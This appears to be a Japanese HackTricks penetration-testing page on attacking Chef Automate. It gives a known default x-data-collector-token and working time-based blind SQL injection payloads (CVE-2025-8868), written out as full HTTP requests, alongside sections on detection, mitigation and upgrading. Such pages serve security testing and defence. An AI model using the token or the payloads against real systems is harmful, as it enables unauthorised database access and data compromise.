Chef Automate 列挙と攻撃

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

概要

このページは Chef Automate インスタンスを列挙して攻撃するための実践的な手法を集めたもので、以下に重点を置いています：

  • gRPC-Gateway-backed REST endpoints を発見し、validation/error responses を通じてリクエストスキーマを推測すること
  • デフォルトが残っている場合に x-data-collector-token 認証ヘッダを悪用すること
  • Time-based blind SQL injection in the Compliance API (CVE-2025-8868) が /api/v0/compliance/profiles/search の filters[].type フィールドに影響する件

注: バックエンド応答に header grpc-metadata-content-type: application/grpc が含まれる場合、通常は REST 呼び出しを gRPC サービスにブリッジする gRPC-Gateway を示します。

Recon: アーキテクチャとフィンガープリント

  • Front-end: 多くの場合 Angular。Static bundles は REST パス（例: /api/v0/…）のヒントになることがある
  • API transport: REST から gRPC への gRPC-Gateway 経由
  • 応答に grpc-metadata-content-type: application/grpc が含まれることがある
  • データベース/ドライバのフィンガープリント:
  • pq: で始まるエラーボディは、Go の pq ドライバを使った PostgreSQL を強く示唆する
  • 注目すべき Compliance endpoints (認証必要):
  • POST /api/v0/compliance/profiles/search
  • POST /api/v0/compliance/scanner/jobs/search

認証: Data Collector Token (x-data-collector-token)

Chef Automate は専用ヘッダでリクエストを認証する data collector を公開しています:

  • Header: x-data-collector-token
  • リスク: 一部の環境では保護された API ルートへのアクセスを許すデフォルトトークンが残っている場合があります。実際に観測された既知のデフォルト:
  • 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

存在する場合、このトークンを使って本来認証で保護されている Compliance API endpoints を呼び出すことができます。ハードニング時には常にデフォルトのローテーション/無効化を試みてください。

API スキーマ推定（Error-Driven Discovery による）

gRPC-Gateway-backed endpoints は期待されるリクエストモデルを説明する有用な検証エラーをしばしば leak します。

/api/v0/compliance/profiles/search において、バックエンドは filters 配列を含むボディを期待しており、各要素は次のフィールドを持つオブジェクトです:

  • type: string (filter field identifier)
  • values: array of strings

例のリクエスト形式:

{
"filters": [
{ "type": "name", "values": ["test"] }
]
}

不正なJSONやフィールド型の誤りは通常、ヒントを含む4xx/5xxを引き起こし、ヘッダーはgRPC-Gatewayの動作を示します。これらを使ってフィールドをマッピングし、注入箇所を特定してください。

コンプライアンスAPI SQL Injection (CVE-2025-8868)

  • 影響を受けるエンドポイント: POST /api/v0/compliance/profiles/search
  • 注入箇所: filters[].type
  • 脆弱性クラス: time-based blind SQL injection in PostgreSQL
  • 根本原因: typeフィールドを動的なSQLフラグメントに挿入する際に、適切なparameterization/whitelistingが行われていないこと（おそらくidentifiers/WHERE clausesの構築に使用）。typeに仕込んだ値がPostgreSQLによって評価されます。

Working time-based payload:

{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}

Technique notes:

  • 元の文字列をシングルクォート(’)で閉じる
  • pg_sleep(N) を呼び出すサブクエリを連結する
  • || を使って文字列コンテキストに戻し、最終的な SQL が、type が埋め込まれる位置に関係なく構文的に有効であるようにする

差分レイテンシによる証明

ペアのリクエストを送信し、応答時間を比較してサーバー側での実行を検証する：

  • N = 1秒
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
  • N = 5 秒
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}

Observed behavior:

  • 応答時間が pg_sleep(N) に比例して増加する
  • プロービング中に HTTP 500 応答に pq: 付きの詳細が含まれることがあり、SQL 実行経路が確認できる

ヒント: ノイズと誤検知を減らすため、タイミング検証器（例: 統計的比較を伴う複数試行）を使用する

影響

認証済みユーザ—あるいはデフォルトの x-data-collector-token を悪用する未認証のアクター—が Chef Automate の PostgreSQL コンテキスト内で任意の SQL を実行できる可能性があり、compliance profiles、設定、およびテレメトリの機密性と完全性が危険にさらされる。

影響を受けるバージョン / 修正

  • CVE: CVE-2025-8868
  • アップグレード案内: ベンダーのアドバイザリに従い、Chef Automate 4.13.295 以降 (Linux x86) に更新すること

検知とフォレンジクス

  • API 層:
  • /api/v0/compliance/profiles/search 上で 500 を監視する。filters[].type が引用符 (’), 連結 (||) または pg_sleep のような関数参照を含む場合に注視する
  • レスポンスヘッダの grpc-metadata-content-type を検査し、gRPC-Gateway フローを識別する
  • データベース層 (PostgreSQL):
  • pg_sleep 呼び出しや malformed identifier エラーを監査する（Go の pq ドライバ由来の pq: プレフィックスで表出することが多い）
  • 認証:
  • API パス全体での x-data-collector-token の使用をログおよびアラート化する。特に既知のデフォルト値の使用には注意する

軽減策と強化

  • 即時対応:
  • デフォルトの x-data-collector-token をローテーションまたは無効化する
  • data collector エンドポイントへのインバウンドを制限し、強力かつユニークなトークンを強制する
  • コードレベル:
  • クエリをパラメータ化する。SQL フラグメントを文字列連結してはならない
  • サーバ側で許可される type 値を厳格にホワイトリスト化する (enum)
  • 識別子や句に対する動的な SQL 組み立てを避ける。動的動作が必要な場合は、安全な識別子の引用と明示的なホワイトリストを使用する

実践的なテストチェックリスト

  • x-data-collector-token が受け入れられるか、既知のデフォルトが機能するかを確認する
  • 検証エラーを誘発してエラーメッセージやヘッダを読み取り、Compliance API のリクエストスキーマをマップする
  • SQLi を、values 配列やトップレベルのテキストフィールドだけでなく、より目立たない「識別子のような」フィールド（例: filters[].type）でもテストする
  • 文脈に応じて SQL を構文的に有効に保つため、連結を用いた time-based techniques を使用する

参考資料

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする